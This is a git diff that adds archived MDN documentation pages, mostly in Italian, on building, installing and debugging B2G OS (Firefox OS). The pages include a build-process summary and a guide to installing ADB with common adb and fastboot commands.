+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Portabilità su CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia">Panoramica sullo sviluppo di Gaia</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Eseguire il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Mulet">Esegui Gaia su desktop usando Mulet</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Comprendere il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Fare variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Verificare le variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Inviare una patch di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Sistema di compilazione primario di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Differenti modi per eseguire Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Riferimento per le opzioni di Make</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Riferimento per gli strumenti di Gaia</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/it/docs/Mozilla/B2G_OS/API">API di B2G OS</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p>Poiché B2G OS è attualmente in sviluppo ed in stato di pre-release, il modo migliore per assicurarti di avere installata la versione più aggiornata è compilarla ed installarla da solo. Gli articoli mostrati in questa pagina ti guideranno attraverso compilazione e l'installazione di B2G OS su un emulatore, su un dispositivo compatibile o sull'interfaccia <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> del browser Firefox.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Ottenere_e_compilare_B2G_OS">Ottenere e compilare B2G OS</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">Sommario del processo di compilazione di B2G OS</a></dt>
+     <dd>Compilare ed installare B2G OS richiede un consistente impiego di tempo, banda e potenza computazionale. Questa pagina delina gli obiettivi del processo di compilazione ed i relativi passaggi per aiutare l'utente lungo il suo percorso.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Prerequisiti per la compilazione</a></dt>
+     <dd>Di cosa avrai bisogno (e cosa è necessario fare) prima di compilare B2G OS per la prima volta.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing for your first B2G build">Preparare la tua prima compilazione</a></dt>
+     <dd>Prima che tu possa compilare B2G OS, sarà necessario clonare il repository e configurare la compilazione. Questo articolo spiega come fare.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building" title="en-US/docs/Mozilla/Boot_to_Gecko/Building Boot to Gecko">Compilare B2G OS</a></dt>
+     <dd>Come compilare B2G OS.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per l'installazione di B2G</a><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on"> OS</a></dt>
+     <dd>L'add-on <strong>B2G installer</strong> aiuta a risolvere il problema, di non poco conto, di non poter ridistribuire compilazioni dell'intero sistema operativo, per via dei cd. "blobs" (ovvero i componenti proprietari). Questo articolo illustra il funzionamento dell'add-on e come installarlo.</dd>
+    </dl>
+
+    <h2 id="Ulteriore_materiale_di_riferimento">Ulteriore materiale di riferimento</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></dt>
+     <dd>Una guida scritta dalla comunità per compilare B2G OS per il dispositivo di riferimento Flame, su Mac OS X.</dd>
+     <dt><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a></dt>
+     <dd>Un elenco ufficiale delle dei dispositivi di sviluppo che supportano B2G OS.</dd>
+     <dt><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></dt>
+     <dd>Questa guida estremamente dettagliata spiega come creare pacchetti di aggiornamento OTA/FOTA, che possano poi essere distribuiti ai dispositivi degli utenti per fornire aggiornamenti software.</dd>
+     <dt><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare community builds FOTA</a></dt>
+     <dd>Una guida scritta dalla comunità per creare ed installare pacchetti FOTA.</dd>
+     <dt><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></dt>
+     <dd>Un utile riferimento per tutte le variabili di compilazione di B2G, Gaia e Gecko e dei comandi di cui potresti avere bisogno durante le operazioni di compilazione legate a B2G OS.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Community" id="Installare_B2G_OS_eo_Gaia">Installare B2G OS e/o Gaia</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Choosing_how_to_run_Gaia_or_B2G" title="en-US/docs/Mozilla/Boot_to_Gecko/Choosing how to run Gaia or B2G">Scegliere come eseguire Gaia e B2G OS</a></dt>
+     <dd>Puoi usare Gaia all'interno di B2G, oppure far girare B2G OS su un dispositivo mobile o ancora su un simulatore per desktop. Questa guida ti aiuterà a decidere quale scelta è la migliore per le tue esigenze.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_the_B2G_OS_simulator">Compilare il simulatore di B2G OS</a></dt>
+     <dd>Una guida per compilare il simulatore di B2G OS, che permette di eseguire Gaia e le Web apps in un ambiente basato su Gecko simile ai dispositivi odierni, sul tuo computer desktop.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using the B2G emulators">Utilizzare degli emulatori di B2G OS</a></dt>
+     <dd>Una guida per compilare ed utilizzare gli emulatori di B2G OS, con spiegazioni su quali usare a seconda della necessità.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing Boot to Gecko on a mobile device">Installare B2G OS su dispositivo mobile</a></dt>
+     <dd>Come installare B2G OS su un vero dispositivo mobile.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/building_and_installing_firefox_os/sommario_del_processo_di_compilazione_di_b2g_os/index.html b/files/it/archive/b2g_os/building_and_installing_firefox_os/sommario_del_processo_di_compilazione_di_b2g_os/index.html
new file mode 100644
index 0000000000..e7a0f71285
--- /dev/null
+++ b/files/it/archive/b2g_os/building_and_installing_firefox_os/sommario_del_processo_di_compilazione_di_b2g_os/index.html
@@ -0,0 +1,195 @@
+---
+title: Sommario del processo di compilazione di B2G OS
+slug: >-
+  Archive/B2G_OS/Building_and_installing_Firefox_OS/Sommario_del_processo_di_compilazione_di_B2G_OS
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Compilazione e installazione</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Panoramica su compilazione ed installazione</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">Sommario del processo di compilazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Prerequisiti per la compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparare la tua prima compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building">Compilare B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per l"installazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Scegliere come eseguire Gaia e B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installare B2G OS su dispositivo mobile</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare aggiornamenti via Internet prodotti dalla comunità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Portabilità di B2G OS</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS">Panoramica sulla portabilità</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Basi della portabilità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Portabilità su CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia">Panoramica sullo sviluppo di Gaia</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Eseguire il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Mulet">Esegui Gaia su desktop usando Mulet</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Comprendere il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Fare variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Verificare le variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Inviare una patch di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Sistema di compilazione primario di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Differenti modi per eseguire Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Riferimento per le opzioni di Make</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Riferimento per gli strumenti di Gaia</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/it/docs/Mozilla/B2G_OS/API">API di B2G OS</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p>Building and installing B2G OS requires a significant amount of time, network bandwidth, and computational power. Unfortunately, along the way, things are liable to go wrong. This page outlines the goals of the build process and the steps of that process in order to help users along the way. Details of each step are discussed in the linked pages.</p>
+</div>
+
+<div class="note">
+<p><strong style="font-weight: bold;">Note:</strong> The B2G OS build process is full of references to 'B2G' or 'Boot2Gecko'. 'Boot2Gecko' was the original code name of the B2G OS project.</p>
+</div>
+
+<h2 id="The_Build_Goal_three_'image'_files">The Build Goal: three 'image' files</h2>
+
+<p>The overall purpose of the build process is to build three files that can be installed onto a device compatible with B2G OS.</p>
+
+<table style="margin: 4px auto; vertical-align: top; width: 90%;">
+ <tbody>
+  <tr>
+   <td><strong>boot.img</strong></td>
+   <td>The Linux kernel and a root filesystem image, the latter providing a usable set of basic Unix tools.</td>
+  </tr>
+  <tr>
+   <td><strong>system.img</strong></td>
+   <td>The core of B2G OS including parts of Gonk, the port of Gecko, and the b2g executable.</td>
+  </tr>
+  <tr>
+   <td><strong>recovery.img</strong></td>
+   <td>A Linux kernel and a root filesystem image along with a simple tool to enable users to fix a bad installation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Once the three images have been created, they can be installed onto a device.</p>
+
+<p>B2G OS is built on top of the lower levels of Android Open Source Project (AOSP). The AOSP tools <code>adb</code> and <code>fastboot</code> provide powerful tools to access and manipulate a device. Specifically, the command <code>adb reboot bootloader</code> instructs a connected device to reboot and pause at the early bootloader stage. The command <code>fastboot flash $partition $image</code> can be used to install an image onto the device.</p>
+
+<h3 id="The_Boot_Image">The Boot Image</h3>
+
+<p>The Boot Image (<code>boot.img</code>) is a combination of the Linux kernel and an initial root partition providing the core utility software and initialization scripts. The latter will be copied into device memory for efficient use by the device and therefore is called a "ramdisk". The Boot Image will be copied to the 'boot' partition on the device and the contents of the ramdisk are visible starting in the root directory when the device filesystem is accessed at runtime, such as when using <code>adb shell</code>.</p>
+
+<p>The Boot Image also establishes the permissions of the root user in the <code>default.prop</code> file in the root directory.</p>
+
+<p>It is also possible to modify an existing boot image by inspecting the file, splitting the file into the kernel and ramdisk image, extracting the contents of the ramdisk image, modifying those contents, re-assembling the ramdisk image, then rebuilding a functional boot.img. See, for example, the <a href="http://k.japko.eu/alcatel-otf-hackers-guide-1.html">Alcatel One Touch Fire Hacking (Mini) Guide</a> page.</p>
+
+<p>Boot Images can be tested before being installed by 'sideloading' them; the device can be started and paused in the bootloader and then <code>fastboot</code> can be used to boot from the Boot Image without installing it using the command <code>fastboot boot boot.img</code>.</p>
+
+<h3 id="The_System_Image">The System Image</h3>
+
+<p>The System Image (<code>system.img</code>) provides the core of B2G OS:</p>
+
+<ul>
+ <li><strong>Gonk</strong>: the low-level components of the operating system</li>
+ <li><strong>Gecko</strong>: the port of the B2G HTML display and JavaScript engine</li>
+ <li><strong>B2G</strong>: the core runtime process of the operating system.</li>
+ <li><strong>Gaia</strong>: the web applications available to the user.</li>
+</ul>
+
+<div class="note">
+<p>See <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform">the B2G OS platform</a> guide for more information about the platform architecture.</p>
+</div>
+
+<p>The System Image will be copied to the <code>system</code> partition on the device and will be visible in the <code>/system/</code> directory when the device filesystem is accessed at runtime.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The System Image also provides the binary blobs that may be used by the device, notably the RIL (Radio Interface Layer) blob controlling the cellular radio on the device.</p>
+</div>
+
+<h3 id="The_Recovery_Image">The Recovery Image</h3>
+
+<p>The Recovery Image (<code>recovery.img</code>) contains the same kernel and a similar ramdisk as present on the Boot Image partition. The recovery image however uses a different initialization script, which leads the user to a set of recovery commands accessible using the hardware buttons on the device.</p>
+
+<p>The Recovery Image will be copied to the <code>recovery</code> partition on the device, which is not mounted onto the filesystem at regular runtime.</p>
+
+<h2 id="The_Build_Process_setup_configure_build_install">The Build Process: setup, configure, build, install</h2>
+
+<p>The overall process of building and installing B2G OS involves four steps:</p>
+
+<table style="margin: 4px auto; vertical-align: top; width: 90%;">
+ <tbody>
+  <tr>
+   <td><strong>Setup</strong></td>
+   <td>Obtain copies of all the programs used by the build process, such as the right compilers and libraries.</td>
+  </tr>
+  <tr>
+   <td><strong>Configure</strong></td>
+   <td>Download the source code that will be built and create the <code>.configure</code> file that defines environmental variables specifying the paths and other values used in the build.</td>
+  </tr>
+  <tr>
+   <td><strong>Build</strong></td>
+   <td>Build the Gecko profile of the user and the Gaia web applications for the device.</td>
+  </tr>
+  <tr>
+   <td><strong>Install</strong></td>
+   <td>Install the files on a device.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Setup">Setup</h3>
+
+<p>Inital setup must be done to ensure the computer running the build has all of the software required during the build, such as compilers and build tools.</p>
+
+<p>This step can be done by hand or using a script. Details are discussed in the <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites" title="Firefox OS build prerequisites">B2G OS build prerequisites</a> page.</p>
+
+<div class="note">
+<p><strong>Note</strong>: On UNIX and UNIX-like machines, the presence of the required software can be checked using the unix command <code>which</code> with the name of the required program as a parameter.</p>
+</div>
+
+<h3 id="Configuration">Configuration</h3>
+
+<p>The actual build process starts with obtaining a copy of the B2G OS (or B2G) software, usually by creating a Git clone of the <code>B2G</code> project. The build configuration will both obtain copies of all the source code which is to be built and create the <code>.config</code> file that specifies variables for the build.</p>
+
+<p>This is run with the <code>config.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparing for your first B2G build">Preparing for your first B2G build</a> page.</p>
+
+<p>The configure script needs a parameter specifying the type of device to build. The build names are code names linked to the CPU architecture rather than a specific device, and there is currently no way to establish which build works for which physical device. A list of available code names can be <a href="/en-US/Firefox_OS/Phones">found here</a>.</p>
+
+<p>The configure step will also use the Android Open Source Project <code>repo</code> tool to download (or update) a copy of all the code used in the build. These copies will be stored in the <code>.repo/projects</code> directory. Due to this activity, the configure step can take a long time and will download a lot of data.</p>
+
+<h3 id="Build">Build</h3>
+
+<p>The build step will actually compile all of the source code and produce the output images.</p>
+
+<p>This is run with the <code>build.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Building" title="Building">Building B2G OS</a> page.</p>
+
+<p>By default, the build step is monolithic, attempting to build everything at once from the Android Open Source Project tools to the Linux kernel to the Gaia web applications. When the build fails, it can sometimes be unclear in which step it has failed.</p>
+
+<p>It is possible to build only certain parts of the whole B2G  stack. For example, the Gecko system only can be built by calling the build script with the <code>gecko</code> parameter. Similarly, Gaia can be built on its own using the <code>gaia</code> parameter. These parts can then be installed separately onto the device as explained next.</p>
+
+<p>It is also possible to build the images discussed in the first part of this page. For example, the system image can be built using <code>./build.sh out/platform/$target/system.img</code>, where the <code>$target</code> parameter is the same as given in the Configuration step.</p>
+
+<h3 id="Install">Install</h3>
+
+<p>The install step will place the newly compiled code onto a device. This is run with the <code>flash.sh</code> script.</p>
+
+<p>Individual parts of the build can be installed by adding a parameter to the flash script. For example, it is possible to install only the gaia web applications by specifying <code>./flash.sh gaia</code>.</p>
diff --git a/files/it/archive/b2g_os/debugging/index.html b/files/it/archive/b2g_os/debugging/index.html
new file mode 100644
index 0000000000..12a896d185
--- /dev/null
+++ b/files/it/archive/b2g_os/debugging/index.html
@@ -0,0 +1,84 @@
+---
+title: Debugging on Firefox OS
+slug: Archive/B2G_OS/Debugging
+tags:
+  - B2G
+  - Debugging
+  - Firefox OS
+  - NeedsTranslation
+  - QA
+  - Testing
+  - TopicStub
+translation_of: Archive/B2G_OS/Debugging
+---
+<div class="summary">
+ <p><span class="seoSummary">There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.</span> This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.</p>
+</div>
+<h2 id="Debugging_apps">Debugging apps</h2>
+<p>When debugging your web apps, the best tool at your disposal is Mozilla's powerful <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent <a href="https://developer.mozilla.org/en-US/docs/Tools" title="en-US/docs/Tools">developer tools</a>. This should be your first choice, especially for app/Gaia debugging.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Tools/WebIDE">Using WebIDE</a></dt>
+ <dd>
+  The WebIDE is the replacement for the App Manager. Like the App Manager, it enables you to run and debug Firefox OS apps using the Firefox OS Simulator or a real Firefox OS device. However, it also provides an editing environment for you to create and develop apps.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a></dt>
+ <dd>
+  The App Manager is a new tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></dt>
+ <dd>
+  This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.</dd>
+</dl>
+<h2 id="Debugging_GaiaB2G">Debugging Gaia/B2G</h2>
+<p>If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client">Debugging using the desktop B2G client</a></dt>
+ <dd>
+  You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></dt>
+ <dd>
+  This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using gdb</a></dt>
+ <dd>
+  The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_valgrind" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using Valgrind</a></dt>
+ <dd>
+  Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones" title="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones">Getting NSPR logs in B2G</a></dt>
+ <dd>
+  You can use NSPR logs to record HTTP and other networking.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">Debugging OpenGL</a></dt>
+ <dd>
+  How to debug OpenGL code on Firefox OS.</dd>
+</dl>
+<h2 id="General_setup_and_information"><strong>General setup and information</strong></h2>
+<p>The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></dt>
+ <dd>
+  There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></dt>
+ <dd>
+  Many aspects of Firefox OS development require installation of <code>adb</code>, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></dt>
+ <dd>
+  How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_Firefox_OS_apps_in_desktop_Firefox">Connecting a Firefox OS device to the desktop</a></dt>
+ <dd>
+  This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS code</a></dt>
+ <dd>
+  Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/debugging/installazione_adb/index.html b/files/it/archive/b2g_os/debugging/installazione_adb/index.html
new file mode 100644
index 0000000000..52672aa1be
--- /dev/null
+++ b/files/it/archive/b2g_os/debugging/installazione_adb/index.html
@@ -0,0 +1,63 @@
+---
+title: Installazione e uso di ADB
+slug: Archive/B2G_OS/Debugging/Installazione_ADB
+translation_of: Archive/B2G_OS/Debugging/Installing_ADB
+---
+<div class="summary">
+ <p>Molti aspetti dello sviluppo del SO Firefox richiedono l'installazione di ADB, l'Android Debug Bridge. Questo articolo spiega come fare, e condivide alcuni comandi ADB comuni utili.</p>
+</div>
+<h2 id="Installazione_di_ADB">Installazione di ADB</h2>
+<p>Puoi scaricare ed installare <code>adb</code> come parte del pacchetto Android SDK, per Mac, Linux o Windows — visita la pagina <a href="http://developer.android.com/sdk/index.html">Ottenere l'Android SDK</a>.</p>
+<p>Le distribuzioni Linux più nuove hanno <code>adb</code> già nei loro repositories. Per Ubuntu 12.10 e successivi, esegui il seguente comando:</p>
+<pre>sudo apt-get install android-tools-adb</pre>
+<p>O per Fedora 18/19:</p>
+<pre>sudo yum install android-tools</pre>
+<p>O su OSX tramite <a href="http://brew.sh/">Homebrew</a>:</p>
+<pre>brew install android-platform-tools</pre>
+<p>Se la tua distribuzione non dispone di pacchetti per <code>adb </code>(es. Ubuntu 12.04 o Fedora 17), sarà necessario installare il pacchetto <a class="external" href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a> per la tua piattaforma (avrai bisogno dell'<em>ADT Bundle</em>, non dell'opzione <em>SDK Tools Only</em>). Esegui quindi il loro gestore di pacchetti, <code>$SDK_HOME/tools/android</code>, e usa la GUI per installare "Android SDK Platform-tools".</p>
+<p>Scopri dove <code>adb</code> viene installato (di solito in <code>usr/bin</code>, eventualmente anche dentro <code>adt/platform-tools</code>, a seconda di come lo hai installato). Assicurati di aggiungere questa cartella alla tua <code>PATH</code>. Questo può esser fatto aggiungendo la riga</p>
+<pre>PATH=$SDK_HOME:$PATH</pre>
+<p>sostituendo <code>$SDK_HOME</code> con il percorso dell'Android SDK, al tuo file <code>~/.bashrc</code> o equivalente.</p>
+<h2 id="Risoluzione_dei_problemi">Risoluzione dei problemi</h2>
+<p>Se stai installando la versione 64-bit, e ottieni un errore "File non trovato" quando esegui 'adb' anche se il file è presente, è necessario installare le librerie di compatibilità a 32-bit. Per fare questo con apt:</p>
+<pre>sudo apt-get install ia32-libs</pre>
+<h2 id="Comandi_ADB_comuni">Comandi ADB comuni</h2>
+<p><span id="result_box" lang="it"><span class="hps">Le sezioni seguenti spiegano</span> <span class="hps">alcuni</span> <span class="hps">comandi </span></span><code>adb</code> <span id="result_box" lang="it"><span class="hps">comuni, <span id="result_box" lang="it"><span class="hps">utili</span></span></span><span>.</span></span></p>
+<h2 id="Riavvio_del_processo_b2g">Riavvio del processo b2g</h2>
+<p>b2g è l'equivalente di un'applicazione <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> <span id="result_box" lang="it"><span class="hps">in esecuzione</span> <span class="hps">sul telefono</span> <span class="hps">in cima ad un</span> <span class="hps">kernel</span> <span id="result_box" lang="it"><span class="hps">basato su Android</span><span>.</span></span></span> A volte potresti volerlo riavviare; questo è un modo per ripristinare l'ambiente applicativo senza riavviare l'intero dispositivo. E' possibile effettuarlo inserendo quanto segue nel tuo terminale mentre il tuo dispositivo è connesso al tuo computer (o durante l'esecuzione del debugger):</p>
+<pre>adb shell killall b2g</pre>
+<h2 id="Abilitazione_port_forwarding_per_il_debug">Abilitazione port forwarding per il debug</h2>
+<p>Per abilitare semplicemente il <em>port forwarding</em> (trasferimento dati tramite una specifica porta; per esempio se stai usando il Gestore di Applicazioni per il debug di applicazioni su un dispositivo Firefox OS), immetti il seguente comando nel tuo terminale:</p>
+<pre class="language-html">adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
